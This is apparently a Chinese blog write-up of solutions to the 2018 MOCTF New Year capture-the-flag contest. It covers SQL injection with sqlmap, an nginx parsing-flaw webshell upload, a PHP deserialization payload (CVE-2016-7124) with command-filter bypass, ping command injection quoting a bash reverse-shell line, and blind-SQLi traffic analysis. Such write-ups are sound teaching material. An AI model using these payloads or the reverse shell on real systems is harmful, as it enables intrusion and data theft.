MOCTF新春欢乐赛部分WP

已经过去有段时间了,比赛在年前,现在才有时间整理一下当时做出的一些题目。
当作是一个复习梳理了
比赛地址:http://happy.moctf.com/
官方所有WP:https://github.com/xishir/moctf/tree/master/2018MOCTF

比赛首页.png

0x00是时候让你的手指锻炼一下了

image.png

打开链接的页面内容如下


image.png

查看页面源码发现,最终会调用JS代码生成表单并且提交clicks参数,参数内容为点击的次数,这里可以手动传参108000次即可拿到flag


image.png

image.png

0x01要认真

打开链接,呈现的是一个文章管理系统,题目提示是能够getshell


image.png
image.png

通过各个页面的查看,其中找到show.php查看内容时存在sql注入点


image.png

直接起sqlmap,拿数据库、表和字段内容,得到后台登陆用户和哈希的密码


image.png

通过MD5破解直接拿到明文“moctf6”,之后可以直接登陆后台


image.png
image.png

在后台存在一个文件管理功能模块,存在上传点,通过测试发现,检测了上传文件的后缀,只允许png、jpg等图片格式
查看响应头,发现是nginx服务器


image.png

这里可以利用nginx的解析漏洞来上传执行webshell
详见:http://blog.csdn.net/wn314/article/details/77388289
上传一个内容为php一句话的

image.png

最后利用webshell直接进行操作找flag即可


image.png

0x02PUBG

image.png

访问页面内容是吃鸡既视感


image.png

查看页面源码,没有特别的信息泄露,尝试扫描常见信息泄露,发现存在.bak备份,得到源码


image.png

同样的,class.php也存在bak


image.png

这里需要分析其中的php逻辑,可以看到一个关键点是$p=unserialize($pubg)
而class.php中定义了__wakeup函数和__call函数
其中反序列化得到对象会执行__wakeup函数,而调用不存在的函数会执行到__call中
这里需要绕过__wakeup中的赋值操作,才能在__destruct判断逻辑中去执行Get_air_drops函数,并且去调用__call来执行系统命令
因此需要利用到

CVE-2016-7124反序列化漏洞

最后配合system函数的系统命令执行来拿到flag,其中还需要进行一定程度的命令执行绕过
最终payload为

http://120.78.57.208:6001/index.php?LandIn=school&pubg=O:7:"sheldon":3:{s:3:"bag";s:42:"flag.;a=c;b=a;c=t;$a$b$c ./class/flag.php;";s:6:"weapon";s:3:"AWM";}
image.png

0x03ping一下好吗

image.png

image.png

页面提供了一个ping的目的ip,此题比较简单,可以利用远程命令执行配合DNSLOG拿到执行结果回显
此处反弹shell没有效果

bash -i >& /dev/tcp/ip/port 0>&1

直接命令执行接:

ls|awk 'FNR==n{print}' #这里n是特定数字,输出第n行
image.png

访问此文件既拿到flag


image.png
0x04一万年的爱有多久
image.png

下载得到一个zip压缩包,经过测试,解压后得到的还是一个随机字符串的压缩包,似乎永无止境
于是写脚本进行解压,看看有没有尽头

import zipfile
import os

file_list = os.listdir(r'.')

for file_name in file_list:
    if os.path.splitext(file_name)[1] == '.zip':
        print file_name

        file_zip = zipfile.ZipFile(file_name, 'r')
        for file in file_zip.namelist():
            file_zip.extract(file, r'.')
        file_zip.close()
        os.remove(file_name)`
#!/bin/sh
for i in $(seq 1 100000)
do
python zip.py >/dev/null
done

最后得到解压的结果flag


image.png
0x05Hacker!!!
image.png

下载得到一个流量包文件,使用wireshark进行分析


image.png

通过流量包内容可以看到,记录了一些HTTP请求和响应,其中HTTP请求中的url是SQL盲注
通过分析盲注的结果,可以拿到正确内容的ascii码,最后拼凑得到flag

109 111 99 116 102 123 72 116 116 112 95 49 115 95 100 52 110 103 51 114 73 48 117 53 125
moctf{Http_1s_d4ng3rI0u5}
上一篇:CVE-2017-16995 ubuntu16.04


下一篇:pwn练习-r0pbaby